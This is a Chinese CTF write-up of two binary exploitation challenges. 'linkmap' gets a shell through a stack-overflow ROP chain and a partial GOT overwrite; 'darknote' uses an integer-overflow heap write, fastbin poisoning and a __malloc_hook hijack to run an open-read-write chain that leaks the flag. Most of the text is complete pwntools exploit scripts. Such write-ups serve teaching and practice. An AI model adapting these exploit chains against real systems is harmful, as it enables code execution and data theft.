2023 巅峰极客 pwn

linkmap

main函数栈溢出,但是没有可以泄露的常规方法

使用ropper可以发现一段gadget

0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret; 
.text:000000000040076D B8 00 00 00 00                mov     eax, 0
.text:0000000000400772 C9 leave
.text:0000000000400773 C3 retn

main函数返回时mov eax,0所以可以利用这段gadget把rbp - 8处的数据读到0x601020 .bss处

  • 把read的got读到0x601020附近

  • 把读到bss段的read最后一位改为0x90 即syscall地址

    pwndbg> disassemble read
    Dump of assembler code for function __GI___libc_read:
    0x00007fb1a3514980 <+0>: endbr64
    0x00007fb1a3514984 <+4>: mov eax,DWORD PTR fs:0x18
    0x00007fb1a351498c <+12>: test eax,eax
    0x00007fb1a351498e <+14>: jne 0x7fb1a35149a0 <__GI___libc_read+32>
    0x00007fb1a3514990 <+16>: syscall
  • 利用gadget控制参数执行调用号为0x3B的sys_execve系统调用

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./ezzzz'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# gdb.attach(io,'b *0x0400772')
# gdb.attach(io,'b *0x0400768')
pop_rbp_ret=0x0400570
pop_rdi=0x04007e3
pop_rsi_r15=0x04007e1
leave_ret=0x0400712
bss_data=0x601020
gadget=0x000000000040066b #0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret;
read_got=elf.got['read']
read_plt=elf.plt['read']
binsh=bss_data+100
padding=b'a'*0x18
payload=flat(padding,pop_rbp_ret,read_got+8,gadget,0)#read函数地址写入bss段
payload+=flat(pop_rdi,0,pop_rsi_r15,bss_data,0,read_plt)#最后一位改为0x90
payload+=flat(pop_rdi,0,pop_rsi_r15,binsh,0,read_plt)#读入binsh同时设置系统调用号
payload+=flat(pop_rdi,binsh,pop_rsi_r15,0,0)
rop.migrate(bss_data)#栈迁移到bss_data,rop
payload+=rop.chain()
s(payload)
# pause()
s(b'\x90')#改为0x90
# pause()
s(b'/bin/sh\x00'+b'a'*(0x3b-8))#设置eax为execve调用号0x3b
io.interactive()

这里最后时 syscall <SYS_execve>rsi参数需要为0,rdx不必需

除了栈迁移还可用csu里的gadget来执行到syscall

.text:00000000004007C0 4C 89 EA                      mov     rdx, r13
.text:00000000004007C3 4C 89 F6 mov rsi, r14
.text:00000000004007C6 44 89 FF mov edi, r15d
.text:00000000004007C9 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:00000000004007C9
.text:00000000004007CD 48 83 C3 01 add rbx, 1
.text:00000000004007D1 48 39 EB cmp rbx, rbp
.text:00000000004007D4 75 EA jnz short loc_4007C0
.text:00000000004007D4
.text:00000000004007D6
.text:00000000004007D6 loc_4007D6: ; CODE XREF: init+34↑j
.text:00000000004007D6 48 83 C4 08 add rsp, 8
.text:00000000004007DA 5B pop rbx
.text:00000000004007DB 5D pop rbp
.text:00000000004007DC 41 5C pop r12
.text:00000000004007DE 41 5D pop r13
.text:00000000004007E0 41 5E pop r14
.text:00000000004007E2 41 5F pop r15
.text:00000000004007E4 C3 retn

darknote

只有add功能可以用,其他功能需要canary为0才可以,基本不可能

下面的函数存在整数溢出

puts("How many dark notes do you want?");
note_count = ((__int64 (__fastcall *)(const char *, char **))read_num)("How many dark notes do you want?", a2);
note_ptr_ar = malloc(8 * note_count);
printf("Index: ");
index_add = ((__int64 (__fastcall *)(const char *, _BYTE *))read_num)("Index: ", v3);
if ( index_add >= 0 && index_add < note_count )
{
v6 = (void **)((char *)note_ptr_ar + 8 * index_add);
*v6 = malloc(0x68uLL);

note_count*8后如果溢出,会导致申请的堆块小于 v6 = (void **)((char *)note_ptr_ar + 8 * index_add); *v6 = malloc(0x68uLL);可写的堆块,所以我们利用mmap申请到libc上方的堆块,就可以往libc写我们申请的堆地址

思路

  • 把我们申请堆的地址写入到 main_arena.fastbin[5]的位置,我们就可以在申请堆伪造下一个堆,造成任意堆的申请
  • 利用输出菜单函数泄露libc
  • 利用存储着系统的环境变量的__environ泄露stack地址
  • 在stack上布置rop链
  • malloc_hook改为触发rop链的gadget

任意堆申请时要注意申请的任意堆的fd域即任意堆地址+0x10处要为0,不然过不了检测

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./darknote'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# db('b *0x401B7B')#malloc
# db('b *0x401AFF')
def add(index, note):
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'Index: ', str(index).encode())
io.sendlineafter(b'Note: ', note)
#mmap 0x7f82cbc1c010
sla(b'do you want?',str(0x40040000))
#pwndbg> p &main_arena.fastbinsY[5]
#$1 = (mfastbinptr *) 0x7f82cc009bb8 <main_arena+56>
#distance 0x7f82cc009bb8 0x7f82cbc1c010
#0x7f82cc009bb8->0x7f82cbc1c010 is -0x3edba8 bytes (-0x7db75 words)
fast_5=0x3edba8>>3
add(fast_5,flat(0,0x71,0x404260-0x20))
add(0,'')
add(1,flat(0,0,elf.got['puts']))
rl()
puts_ad=uu64(r(6))
libcbase=puts_ad-libcelf.symbols['puts']
p('libcbase',libcbase)

environ = libcbase + libcelf.sym['__environ']
malloc_hook=libcbase+libcelf.sym['__malloc_hook']
syscall=libcbase+libcelf.symbols['syscall']
write=libcbase+libcelf.symbols['write']
read=libcbase+libcelf.symbols['read']
add(fast_5,flat(0,0x71,0x404260-0x20))
add(2,'')
add(3,flat(0,0,environ))
rl()
stack=uu64(r(6))-0x98
p('stack',stack)
pop_pop=0x0000000000401dbb
ropstart=libcbase+0x00000000000ddc57
# 0x00000000000ddc57 : add rsp, 0xe0 ; pop rbx ; ret
bss=0x404000

add(fast_5,flat(0,0x71,stack-0x10))
add(0,'')
pop_rdi_ret = 0x0000000000401dc3
pop_rsi_ret = libcbase + 0x000000000002601f
pop_rdx_ret = libcbase + 0x0000000000142c92
ropread=flat(0,0,pop_rdi_ret,0,pop_rsi_ret,bss+0x100,pop_rdx_ret,0x300,elf.plt['read'])
rop.migrate(bss+0x100)
ropread+=rop.chain()
add(1,ropread)
# db('b *0x401B7B')#malloc
add(fast_5,flat(0,0x71,malloc_hook-0x10))
add(0,'')
add(1,p64(ropstart))
db('b *__malloc_hook')
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'Index: ', str(1).encode())
flagstr=bss+0x100+7*8*3
orw=flat(pop_rdi_ret,2,pop_rsi_ret,flagstr,pop_rdx_ret,0,syscall)
orw+=flat(pop_rdi_ret,3,pop_rsi_ret,bss+200,pop_rdx_ret,0x30,read)
orw+=flat(pop_rdi_ret,1,pop_rsi_ret,bss+200,pop_rdx_ret,0x30,write)
orw.ljust(7*8*3,b'\x00')
orw+=b'flag\x00'
pause()
sl(orw)
io.interactive()